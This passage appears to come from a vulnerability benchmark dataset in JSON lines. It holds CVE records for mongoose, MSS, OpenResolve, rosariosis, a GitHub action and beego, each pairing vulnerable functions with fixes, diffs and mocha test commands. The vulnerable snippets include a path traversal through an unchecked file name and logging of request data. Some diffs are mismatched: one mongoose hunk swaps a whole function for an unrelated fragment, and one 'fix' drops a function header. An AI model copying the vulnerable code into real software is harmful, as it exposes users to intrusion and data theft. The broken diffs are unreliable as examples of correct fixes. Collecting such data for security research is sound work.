schemaOptions, unpopulatedValue);\n      }\n      // No-op if no `ref` set. See gh-11538\n      continue;\n    }\n\n    if (Array.isArray(schema)) {\n      const schemasArray = schema;\n      for (const _schema of schemasArray) {\n        let _modelNames;\n        let res;\n        try {\n          res = _getModelNames(doc, _schema, modelNameFromQuery, model);\n          _modelNames = res.modelNames;\n          isRefPath = isRefPath || res.isRefPath;\n          normalizedRefPath = normalizedRefPath || res.refPath;\n          justOne = res.justOne;\n        } catch (error) {\n          return error;\n        }\n\n        if (isRefPath && !res.isRefPath) {\n          continue;\n        }\n        if (!_modelNames) {\n          continue;\n        }\n        modelNames = modelNames || [];\n        for (const modelName of _modelNames) {\n          if (modelNames.indexOf(modelName) === -1) {\n            modelNames.push(modelName);\n          }\n        }\n      }\n    } else {\n      try {\n        const res = _getModelNames(doc, schema, modelNameFromQuery, model);\n        modelNames = res.modelNames;\n        isRefPath = res.isRefPath;\n        normalizedRefPath = normalizedRefPath || res.refPath;\n        justOne = res.justOne;\n        schemaOptions = get(schema, 'options.populate', null);\n        // Dedupe, because `refPath` can return duplicates of the same model name,\n        // and that causes perf issues.\n        if (isRefPath) {\n          modelNamesInOrder = modelNames;\n          modelNames = Array.from(new Set(modelNames));\n        }\n      } catch (error) {\n        return error;\n      }\n\n      if (!modelNames) {\n        continue;\n      }\n    }\n\n    const data = {};\n    const localField = options.path;\n    const foreignField = '_id';\n\n    // `justOne = null` means we don't know from the schema whether the end\n    // result should be an array or a single doc. This can result from\n    // populating a POJO using `Model.populate()`\n    if ('justOne' in options && options.justOne !== void 0) {\n      justOne = options.justOne;\n    } else if (schema && !schema[schemaMixedSymbol]) {\n      // Skip Mixed types because we explicitly don't do casting on those.\n      if (options.path.endsWith('.' + schema.path) || options.path === schema.path) {\n        justOne = Array.isArray(schema) ?\n          schema.every(schema => !schema.$isMongooseArray) :\n          !schema.$isMongooseArray;\n      }\n    }\n\n    if (!modelNames) {\n      continue;\n    }\n\n    data.isVirtual = false;\n    data.justOne = justOne;\n    data.localField = localField;\n    data.foreignField = foreignField;\n\n    // Get local fields\n    const ret = _getLocalFieldValues(doc, localField, model, options, null, schema);\n\n    const id = String(utils.getValue(foreignField, doc));\n    options._docs[id] = Array.isArray(ret) ? ret.slice() : ret;\n\n    let match = get(options, 'match', null);\n\n    const hasMatchFunction = typeof match === 'function';\n    if (hasMatchFunction) {\n      match = match.call(doc, doc);\n    }\n    if (Array.isArray(match)) {\n      for (const item of match) {\n        if (item != null && item.$where) {\n          throw new MongooseError('Cannot use $where filter with populate() match');\n        }\n      }\n    } else if (match != null && match.$where != null) {\n      throw new MongooseError('Cannot use $where filter with populate() match');\n    }\n    data.match = match;\n    data.hasMatchFunction = hasMatchFunction;\n    data.isRefPath = isRefPath;\n    data.modelNamesInOrder = modelNamesInOrder;\n\n    if (isRefPath) {\n      const embeddedDiscriminatorModelNames = _findRefPathForDiscriminators(doc,\n        modelSchema, data, options, normalizedRefPath, ret);\n\n      modelNames = embeddedDiscriminatorModelNames || modelNames;\n    }\n\n    try {\n      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc, schemaOptions);\n    } catch (err) {\n      return err;\n    }\n  }\n  return map;\n\n  function _getModelNames(doc, schema, modelNameFromQuery, model) {\n    let modelNames;\n    let isRefPath = false;\n    let justOne = null;\n\n    const originalSchema = schema;\n    if (schema && schema.instance === 'Array') {\n      schema = schema.caster;\n    }\n    if (schema && schema.$isSchemaMap) {\n      schema = schema.$__schemaType;\n    }\n\n    const ref = schema && schema.options && schema.options.ref;\n    refPath = schema && schema.options && schema.options.refPath;\n    if (schema != null &&\n        schema[schemaMixedSymbol] &&\n        !ref &&\n        !refPath &&\n        !modelNameFromQuery) {\n      return { modelNames: null };\n    }\n\n    if (modelNameFromQuery) {\n      modelNames = [modelNameFromQuery]; // query options\n    } else if (refPath != null) {\n      if (typeof refPath === 'function') {\n        const subdocPath = options.path.slice(0, options.path.length - schema.path.length - 1);\n        const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n        const subdocsBeingPopulated = Array.isArray(vals) ?\n          utils.array.flatten(vals) :\n          (vals ? [vals] : []);\n\n        modelNames = new Set();\n        for (const subdoc of subdocsBeingPopulated) {\n          refPath = refPath.call(subdoc, subdoc, options.path);\n          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n            forEach(name => modelNames.add(name));\n        }\n        modelNames = Array.from(modelNames);\n      } else {\n        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n      }\n\n      isRefPath = true;\n    } else {\n      let ref;\n      let refPath;\n      let schemaForCurrentDoc;\n      let discriminatorValue;\n      let modelForCurrentDoc = model;\n      const discriminatorKey = model.schema.options.discriminatorKey;\n\n      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n        // `modelNameForFind` is the discriminator value, so we might need\n        // find the discriminated model name\n        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n        if (discriminatorModel != null) {\n          modelForCurrentDoc = discriminatorModel;\n        } else {\n          try {\n            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n          } catch (error) {\n            return error;\n          }\n        }\n\n        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n\n        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n        }\n      } else {\n        schemaForCurrentDoc = schema;\n      }\n\n      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n      } else if (schemaForCurrentDoc != null) {\n        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n      }\n\n      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n        if (schemaForCurrentDoc != null &&\n            typeof ref === 'function' &&\n            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n          modelNames = new Set();\n\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n          for (const subdoc of subdocsBeingPopulated) {\n            modelNames.add(handleRefFunction(ref, subdoc));\n          }\n\n          if (subdocsBeingPopulated.length === 0) {\n            modelNames = [handleRefFunction(ref, doc)];\n          } else {\n            modelNames = Array.from(modelNames);\n          }\n        } else {\n          ref = handleRefFunction(ref, doc);\n          modelNames = [ref];\n        }\n      } else if ((schemaForCurrentDoc = get(schema, 'options.refPath')) != null) {\n        isRefPath = true;\n        if (typeof refPath === 'function') {\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :\n            (vals ? [vals] : []);\n\n          modelNames = new Set();\n          for (const subdoc of subdocsBeingPopulated) {\n            refPath = refPath.call(subdoc, subdoc, options.path);\n            modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n              forEach(name => modelNames.add(name));\n          }\n          modelNames = Array.from(modelNames);\n        } else {\n          modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n        }\n      }\n    }\n\n    if (!modelNames) {\n      // `Model.populate()` on a POJO with no known local model. Default to using the `Model`\n      if (options._localModel == null) {\n        modelNames = [model.modelName];\n      } else {\n        return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n      }\n    }\n\n    if (!Array.isArray(modelNames)) {\n      modelNames = [modelNames];\n    }\n\n    return { modelNames: modelNames, justOne: justOne, isRefPath: isRefPath, refPath: refPath };\n  }\n};"}, {"id": "fix_js_4_2", "commit": "c9e86bf", "file_path": "lib/helpers/populate/getModelsMapForPopulate.js", "start_line": 250, "end_line": 308, "snippet": "        for (const subdoc of subdocsBeingPopulated) {\n          refPath = refPath.call(subdoc, subdoc, options.path);\n          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n            forEach(name => modelNames.add(name));\n        }\n        modelNames = Array.from(modelNames);\n      } else {\n        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n      }\n\n      isRefPath = true;\n    } else {\n      let ref;\n      let refPath;\n      let schemaForCurrentDoc;\n      let discriminatorValue;\n      let modelForCurrentDoc = model;\n      const discriminatorKey = model.schema.options.discriminatorKey;\n\n      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n        // `modelNameForFind` is the discriminator value, so we might need\n        // find the discriminated model name\n        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n        if (discriminatorModel != null) {\n          modelForCurrentDoc = discriminatorModel;\n        } else {\n          try {\n            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n          } catch (error) {\n            return error;\n          }\n        }\n\n        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n\n        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n        }\n      } else {\n        schemaForCurrentDoc = schema;\n      }\n\n      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n      } else if (schemaForCurrentDoc != null) {\n        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n      }\n\n      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n        if (schemaForCurrentDoc != null &&\n            typeof ref === 'function' &&\n            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n          modelNames = new Set();\n\n          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n          const subdocsBeingPopulated = Array.isArray(vals) ?\n            utils.array.flatten(vals) :"}], "vul_patch": "--- a/lib/helpers/populate/getModelsMapForPopulate.js\n+++ b/lib/helpers/populate/getModelsMapForPopulate.js\n@@ -164,6 +164,15 @@\n     if (hasMatchFunction) {\n       match = match.call(doc, doc);\n     }\n+    if (Array.isArray(match)) {\n+      for (const item of match) {\n+        if (item != null && item.$where) {\n+          throw new MongooseError('Cannot use $where filter with populate() match');\n+        }\n+      }\n+    } else if (match != null && match.$where != null) {\n+      throw new MongooseError('Cannot use $where filter with populate() match');\n+    }\n     data.match = match;\n     data.hasMatchFunction = hasMatchFunction;\n     data.isRefPath = isRefPath;\n\n--- a/lib/helpers/populate/getModelsMapForPopulate.js\n+++ b/lib/helpers/populate/getModelsMapForPopulate.js\n@@ -1,105 +1,59 @@\n-function _virtualPopulate(model, docs, options, _virtualRes) {\n-  const map = [];\n-  const available = {};\n-  const virtual = _virtualRes.virtual;\n-\n-  for (const doc of docs) {\n-    let modelNames = null;\n-    const data = {};\n-\n-    // localField and foreignField\n-    let localField;\n-    const virtualPrefix = _virtualRes.nestedSchemaPath ?\n-      _virtualRes.nestedSchemaPath + '.' : '';\n-    if (typeof options.localField === 'string') {\n-      localField = options.localField;\n-    } else if (typeof virtual.options.localField === 'function') {\n-      localField = virtualPrefix + virtual.options.localField.call(doc, doc);\n-    } else if (Array.isArray(virtual.options.localField)) {\n-      localField = virtual.options.localField.map(field => virtualPrefix + field);\n-    } else {\n-      localField = virtualPrefix + virtual.options.localField;\n-    }\n-    data.count = virtual.options.count;\n-\n-    if (virtual.options.skip != null && !options.hasOwnProperty('skip')) {\n-      options.skip = virtual.options.skip;\n-    }\n-    if (virtual.options.limit != null && !options.hasOwnProperty('limit')) {\n-      options.limit = virtual.options.limit;\n-    }\n-    if (virtual.options.perDocumentLimit != null && !options.hasOwnProperty('perDocumentLimit')) {\n-      options.perDocumentLimit = virtual.options.perDocumentLimit;\n-    }\n-    let foreignField = virtual.options.foreignField;\n-\n-    if (!localField || !foreignField) {\n-      return new MongooseError(`Cannot populate virtual \\`${options.path}\\` on model \\`${model.modelName}\\`, because options \\`localField\\` and / or \\`foreignField\\` are missing`);\n-    }\n-\n-    if (typeof localField === 'function') {\n-      localField = localField.call(doc, doc);\n-    }\n-    if (typeof foreignField === 'function') {\n-      foreignField = foreignField.call(doc, doc);\n-    }\n-\n-    data.isRefPath = false;\n-\n-    // `justOne = null` means we don't know from the schema whether the end\n-    // result should be an array or a single doc. This can result from\n-    // populating a POJO using `Model.populate()`\n-    let justOne = null;\n-    if ('justOne' in options && options.justOne !== void 0) {\n-      justOne = options.justOne;\n-    }\n-\n-    modelNames = virtual._getModelNamesForPopulate(doc);\n-    if (virtual.options.refPath) {\n-      justOne = !!virtual.options.justOne;\n-      data.isRefPath = true;\n-    } else if (virtual.options.ref) {\n-      justOne = !!virtual.options.justOne;\n-    }\n-\n-    data.isVirtual = true;\n-    data.virtual = virtual;\n-    data.justOne = justOne;\n-\n-    // `match`\n-    const baseMatch = get(data, 'virtual.options.match', null) ||\n-      get(data, 'virtual.options.options.match', null);\n-    let match = get(options, 'match', null) || baseMatch;\n-\n-    let hasMatchFunction = typeof match === 'function';\n-    if (hasMatchFunction) {\n-      match = match.call(doc, doc, data.virtual);\n-    }\n-\n-    if (Array.isArray(localField) && Array.isArray(foreignField) && localField.length === foreignField.length) {\n-      match = Object.assign({}, match);\n-      for (let i = 1; i < localField.length; ++i) {\n-        match[foreignField[i]] = convertTo_id(mpath.get(localField[i], doc, lookupLocalFields), model.schema);\n-        hasMatchFunction = true;\n+        for (const subdoc of subdocsBeingPopulated) {\n+          refPath = refPath.call(subdoc, subdoc, options.path);\n+          modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection).\n+            forEach(name => modelNames.add(name));\n+        }\n+        modelNames = Array.from(modelNames);\n+      } else {\n+        modelNames = modelNamesFromRefPath(refPath, doc, options.path, modelSchema, options._queryProjection);\n       }\n \n-      localField = localField[0];\n-      foreignField = foreignField[0];\n-    }\n-    data.localField = localField;\n-    data.foreignField = foreignField;\n-    data.match = match;\n-    data.hasMatchFunction = hasMatchFunction;\n+      isRefPath = true;\n+    } else {\n+      let ref;\n+      let refPath;\n+      let schemaForCurrentDoc;\n+      let discriminatorValue;\n+      let modelForCurrentDoc = model;\n+      const discriminatorKey = model.schema.options.discriminatorKey;\n \n-    // Get local fields\n-    const ret = _getLocalFieldValues(doc, localField, model, options, virtual);\n+      if (!schema && discriminatorKey && (discriminatorValue = utils.getValue(discriminatorKey, doc))) {\n+        // `modelNameForFind` is the discriminator value, so we might need\n+        // find the discriminated model name\n+        const discriminatorModel = getDiscriminatorByValue(model.discriminators, discriminatorValue) || model;\n+        if (discriminatorModel != null) {\n+          modelForCurrentDoc = discriminatorModel;\n+        } else {\n+          try {\n+            modelForCurrentDoc = _getModelFromConn(model.db, discriminatorValue);\n+          } catch (error) {\n+            return error;\n+          }\n+        }\n \n-    try {\n-      addModelNamesToMap(model, map, available, modelNames, options, data, ret, doc);\n-    } catch (err) {\n-      return err;\n-    }\n-  }\n+        schemaForCurrentDoc = modelForCurrentDoc.schema._getSchema(options.path);\n \n-  return map;\n-}\n+        if (schemaForCurrentDoc && schemaForCurrentDoc.caster) {\n+          schemaForCurrentDoc = schemaForCurrentDoc.caster;\n+        }\n+      } else {\n+        schemaForCurrentDoc = schema;\n+      }\n+\n+      if (originalSchema && originalSchema.path.endsWith('.$*')) {\n+        justOne = !originalSchema.$isMongooseArray && !originalSchema._arrayPath;\n+      } else if (schemaForCurrentDoc != null) {\n+        justOne = !schemaForCurrentDoc.$isMongooseArray && !schemaForCurrentDoc._arrayPath;\n+      }\n+\n+      if ((ref = get(schemaForCurrentDoc, 'options.ref')) != null) {\n+        if (schemaForCurrentDoc != null &&\n+            typeof ref === 'function' &&\n+            options.path.endsWith('.' + schemaForCurrentDoc.path)) {\n+          // Ensure correct context for ref functions: subdoc, not top-level doc. See gh-8469\n+          modelNames = new Set();\n+\n+          const subdocPath = options.path.slice(0, options.path.length - schemaForCurrentDoc.path.length - 1);\n+          const vals = mpath.get(subdocPath, doc, lookupLocalFields);\n+          const subdocsBeingPopulated = Array.isArray(vals) ?\n+            utils.array.flatten(vals) :\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-53900:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/mongoose\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnpx mocha --grep \"match prevents using $where\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-53900:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/mongoose\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --timeout 6000 test/model.populate.test.js\n"}
{"cve_id": "CVE-2024-25123", "cve_description": "MSS (Mission Support System) is an open source package designed for planning atmospheric research flights. In file: `index.py`, there is a method that is vulnerable to path manipulation attack. By modifying file paths, an attacker can acquire sensitive information from different resources. The `filename` variable is joined with other variables to form a file path in `_file`. However, `filename` is a route parameter that can capture path type values i.e. values including slashes (\\). So it is possible for an attacker to manipulate the file being read by assigning a value containing ../ to `filename` and so the attacker may be able to gain access to other files on the host filesystem. This issue has been addressed in MSS version 8.3.3. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/Open-MSS/MSS", "patch_url": ["https://github.com/Open-MSS/MSS/commit/f23033729ee930b97f8bdbd07df0174311c9b658"], "programing_language": "Python", "vul_func": [{"id": "vul_py_179_1", "commit": "75a1e48", "file_path": "mslib/index.py", "start_line": 162, "end_line": 174, "snippet": "    def code(filename):\n        download = request.args.get(\"download\", False)\n        _file = os.path.join(STATIC_LOCATION, 'code', filename)\n        content = get_content(_file)\n        if not download:\n            return render_template(\"/content.html\", act=\"code\", content=content)\n        else:\n            with open(_file) as f:\n                text = f.read()\n            return Response(\"\".join([s.replace(\"\\t\", \"\", 1) for s in text.split(\"```python\")[-1]\n                                    .splitlines(keepends=True)][1:-2]),\n                            mimetype=\"text/plain\",\n                            headers={\"Content-disposition\": f\"attachment; filename={filename.split('-')[0]}.py\"})"}, {"id": "vul_py_179_2", "commit": "75a1e48", "file_path": "mslib/mscolab/server.py", "start_line": 375, "end_line": 381, "snippet": "def uploads(name=None, filename=None):\n    base_path = mscolab_settings.UPLOAD_FOLDER\n    if name is None:\n        abort(404)\n    if filename is None:\n        abort(404)\n    return send_from_directory(fs.path.join(base_path, name), filename)"}], "fix_func": [{"id": "fix_py_179_1", "commit": "f230337", "file_path": "mslib/index.py", "start_line": 163, "end_line": 179, "snippet": "    def code(filename):\n        download = request.args.get(\"download\", False)\n        _file = werkzeug.security.safe_join(STATIC_LOCATION, \"code\", filename)\n        if _file is None:\n            abort(404)\n        content = get_content(_file)\n        if not download:\n            return render_template(\"/content.html\", act=\"code\", content=content)\n        else:\n            if not os.path.isfile(_file):\n                abort(404)\n            with open(_file) as f:\n                text = f.read()\n            return Response(\"\".join([s.replace(\"\\t\", \"\", 1) for s in text.split(\"```python\")[-1]\n                                    .splitlines(keepends=True)][1:-2]),\n                            mimetype=\"text/plain\",\n                            headers={\"Content-disposition\": f\"attachment; filename={filename.split('-')[0]}.py\"})"}, {"id": "fix_py_179_2", "commit": "75a1e48", "file_path": "mslib/mscolab/server.py", "start_line": 377, "end_line": 383, "snippet": "    if name is None:\n        abort(404)\n    if filename is None:\n        abort(404)\n    return send_from_directory(fs.path.join(base_path, name), filename)\n\n"}], "vul_patch": "--- a/mslib/index.py\n+++ b/mslib/index.py\n@@ -1,10 +1,14 @@\n     def code(filename):\n         download = request.args.get(\"download\", False)\n-        _file = os.path.join(STATIC_LOCATION, 'code', filename)\n+        _file = werkzeug.security.safe_join(STATIC_LOCATION, \"code\", filename)\n+        if _file is None:\n+            abort(404)\n         content = get_content(_file)\n         if not download:\n             return render_template(\"/content.html\", act=\"code\", content=content)\n         else:\n+            if not os.path.isfile(_file):\n+                abort(404)\n             with open(_file) as f:\n                 text = f.read()\n             return Response(\"\".join([s.replace(\"\\t\", \"\", 1) for s in text.split(\"```python\")[-1]\n\n--- a/mslib/mscolab/server.py\n+++ b/mslib/mscolab/server.py\n@@ -1,7 +1,6 @@\n-def uploads(name=None, filename=None):\n-    base_path = mscolab_settings.UPLOAD_FOLDER\n     if name is None:\n         abort(404)\n     if filename is None:\n         abort(404)\n     return send_from_directory(fs.path.join(base_path, name), filename)\n+\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10011", "cve_description": "A vulnerability classified as problematic has been found in OpenDNS OpenResolve. This affects an unknown part of the file resolverapi/endpoints.py. The manipulation leads to improper output neutralization for logs. The identifier of the patch is 9eba6ba5abd89d0e36a008921eb307fcef8c5311. It is recommended to apply a patch to fix this issue. The identifier VDB-217197 was assigned to this vulnerability.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/opendns/OpenResolve", "patch_url": ["https://github.com/opendns/OpenResolve/commit/9eba6ba5abd89d0e36a008921eb307fcef8c5311"], "programing_language": "Python", "vul_func": [{"id": "vul_py_284_1", "commit": "e0f7933", "file_path": "resolverapi/endpoints.py", "start_line": 16, "end_line": 49, "snippet": "    def get(self, rdtype, domain):\n        t1 = time.time()\n\n        rdtype = rdtype.upper()\n        current_app.logger.info(\n            'Request from %s - %s %s', request.remote_addr, rdtype, domain)\n        self.valid_args(rdtype, domain)\n\n        # Iterate through nameservers so that we can tell which one gets used.\n        nameservers = current_app.config['RESOLVERS']\n        for nameserver in nameservers:\n            dns_resolver.nameservers = [nameserver]\n            try:\n                answer = dns_resolver.query(\n                    domain, rdtype, raise_on_no_answer=False)\n                # Successful query\n                break\n            except (NoNameservers, NXDOMAIN):\n                # TODO: this should still follow the RFC\n                return {'message': \"No nameservers for %s\" % domain}, 404\n            except Timeout as e:\n                # Communication fail or timeout - try next nameserver\n                if nameserver is nameservers[-1]:\n                    current_app.logger.info(e)\n                    return {'message': 'All nameservers timed out.'}, 503\n                continue\n            except Exception as e:\n                current_app.logger.error(e)\n                return {'message': 'An unexpected error occured.'}, 500\n\n        t2 = time.time()\n        duration = t2 - t1\n\n        return parse_query(answer, nameserver, duration)"}], "fix_func": [{"id": "fix_py_284_1", "commit": "9eba6ba5abd89d0e36a008921eb307fcef8c5311", "file_path": "resolverapi/endpoints.py", "start_line": 16, "end_line": 49, "snippet": "    def get(self, rdtype, domain):\n        t1 = time.time()\n\n        rdtype = rdtype.upper()\n        current_app.logger.info(\n            'Request from %s - %s', request.remote_addr, rdtype)\n        self.valid_args(rdtype, domain)\n\n        # Iterate through nameservers so that we can tell which one gets used.\n        nameservers = current_app.config['RESOLVERS']\n        for nameserver in nameservers:\n            dns_resolver.nameservers = [nameserver]\n            try:\n                answer = dns_resolver.query(\n                    domain, rdtype, raise_on_no_answer=False)\n                # Successful query\n                break\n            except (NoNameservers, NXDOMAIN):\n                # TODO: this should still follow the RFC\n                return {'message': \"No nameservers for %s\" % domain}, 404\n            except Timeout as e:\n                # Communication fail or timeout - try next nameserver\n                if nameserver is nameservers[-1]:\n                    current_app.logger.info(e)\n                    return {'message': 'All nameservers timed out.'}, 503\n                continue\n            except Exception as e:\n                current_app.logger.error(e)\n                return {'message': 'An unexpected error occured.'}, 500\n\n        t2 = time.time()\n        duration = t2 - t1\n\n        return parse_query(answer, nameserver, duration)"}], "vul_patch": "--- a/resolverapi/endpoints.py\n+++ b/resolverapi/endpoints.py\n@@ -3,7 +3,7 @@\n \n         rdtype = rdtype.upper()\n         current_app.logger.info(\n-            'Request from %s - %s %s', request.remote_addr, rdtype, domain)\n+            'Request from %s - %s', request.remote_addr, rdtype)\n         self.valid_args(rdtype, domain)\n \n         # Iterate through nameservers so that we can tell which one gets used.\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-2202", "cve_description": "Improper Access Control in GitHub repository francoisjacquet/rosariosis prior to 10.9.3.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/francoisjacquet/rosariosis", "patch_url": ["https://github.com/francoisjacquet/rosariosis/commit/6433946abfb34324616e833b1c00d0b2450753be"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_289_1", "commit": "cbb988635762ce02d17a98f4120808a12c52ec07", "file_path": "assets/js/warehouse.js", "start_line": 507, "end_line": 521, "snippet": "window.onpageshow=function(event) {\n\t/**\n\t * Same as above for Safari (does not execute Javascript on history back)\n\t * persisted indicates if the document is loading from a cache (not reliable)\n\t *\n\t * @link https://web.dev/bfcache/\n\t */\n\tif (event.persisted\n\t\t|| window.performance && (performance.navigation.type == 2\n\t\t\t|| (performance.getEntriesByType\n\t\t\t\t&& performance.getEntriesByType(\"navigation\")[0]\n\t\t\t\t&& performance.getEntriesByType(\"navigation\")[0].type === 'back_forward'))) {\n\t\tlocation.reload();\n\t}\n};"}], "fix_func": [{"id": "fix_js_289_1", "commit": "6433946abfb34324616e833b1c00d0b2450753be", "file_path": "assets/js/warehouse.js", "start_line": 523, "end_line": 525, "snippet": "window.onpageshow=function(event) {\n\tbrowserHistoryCacheBuster(event);\n};"}], "vul_patch": "--- a/assets/js/warehouse.js\n+++ b/assets/js/warehouse.js\n@@ -1,15 +1,3 @@\n window.onpageshow=function(event) {\n-\t/**\n-\t * Same as above for Safari (does not execute Javascript on history back)\n-\t * persisted indicates if the document is loading from a cache (not reliable)\n-\t *\n-\t * @link https://web.dev/bfcache/\n-\t */\n-\tif (event.persisted\n-\t\t|| window.performance && (performance.navigation.type == 2\n-\t\t\t|| (performance.getEntriesByType\n-\t\t\t\t&& performance.getEntriesByType(\"navigation\")[0]\n-\t\t\t\t&& performance.getEntriesByType(\"navigation\")[0].type === 'back_forward'))) {\n-\t\tlocation.reload();\n-\t}\n+\tbrowserHistoryCacheBuster(event);\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-31479", "cve_description": "canonical/get-workflow-version-action is a GitHub composite action to get commit SHA that GitHub Actions reusable workflow was called with. Prior to 1.0.1, if the get-workflow-version-action step fails, the exception output may include the GITHUB_TOKEN. If the full token is included in the exception output, GitHub will automatically redact the secret from the GitHub Actions logs. However, the token may be truncated\u2014causing part of the GITHUB_TOKEN to be displayed in plaintext in the GitHub Actions logs. Anyone with read access to the GitHub repository can view GitHub Actions logs. For public repositories, anyone can view the GitHub Actions logs. The opportunity to exploit this vulnerability is limited\u2014the GITHUB_TOKEN is automatically revoked when the job completes. However, there is an opportunity for an attack in the time between the GITHUB_TOKEN being displayed in the logs and the completion of the job. Users using the github-token input are impacted. This vulnerability is fixed in 1.0.1.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/canonical/get-workflow-version-action", "patch_url": ["https://github.com/canonical/get-workflow-version-action/commit/88281a62e96e1c0ef4df30352ae0668a9f3e3369"], "programing_language": "Python", "vul_func": [{"id": "vul_py_86_1", "commit": "a5d53b0", "file_path": "get_workflow_version/main.py", "start_line": "10", "end_line": "10", "snippet": "app = typer.Typer()"}], "fix_func": [{"id": "fix_py_86_1", "commit": "88281a6", "file_path": "get_workflow_version/main.py", "start_line": "11", "end_line": "11", "snippet": "app = typer.Typer(pretty_exceptions_show_locals=False)"}], "vul_patch": "--- a/get_workflow_version/main.py\n+++ b/get_workflow_version/main.py\n@@ -1 +1 @@\n-app = typer.Typer()\n+app = typer.Typer(pretty_exceptions_show_locals=False)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-55885", "cve_description": "beego is an open-source web framework for the Go programming language. Versions of beego prior to 2.3.4 use MD5 as a hashing algorithm. MD5 is no longer considered secure against well-funded opponents due to its vulnerability to collision attacks. Version 2.3.4 replaces MD5 with SHA256.", "cwe_info": {"CWE-327": {"name": "Use of a Broken or Risky Cryptographic Algorithm", "description": "The product uses a broken or risky cryptographic algorithm or protocol."}}, "repo": "https://github.com/beego/beego", "patch_url": ["https://github.com/beego/beego/commit/e7fa4835f71f47ab1d13afd638cebf661800d5a4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_273_1", "commit": "bb72dc27ac3970e51d38ee52fc3dc1465ae25b9d", "file_path": "client/cache/file.go", "start_line": 125, "end_line": 149, "snippet": "func (fc *FileCache) getCacheFileName(key string) (string, error) {\n\tm := md5.New()\n\t_, _ = io.WriteString(m, key)\n\tkeyMd5 := hex.EncodeToString(m.Sum(nil))\n\tcachePath := fc.CachePath\n\tswitch fc.DirectoryLevel {\n\tcase 2:\n\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2], keyMd5[2:4])\n\tcase 1:\n\t\tcachePath = filepath.Join(cachePath, keyMd5[0:2])\n\t}\n\tok, err := exists(cachePath)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif !ok {\n\t\terr = os.MkdirAll(cachePath, os.ModePerm)\n\t\tif err != nil {\n\t\t\treturn \"\", 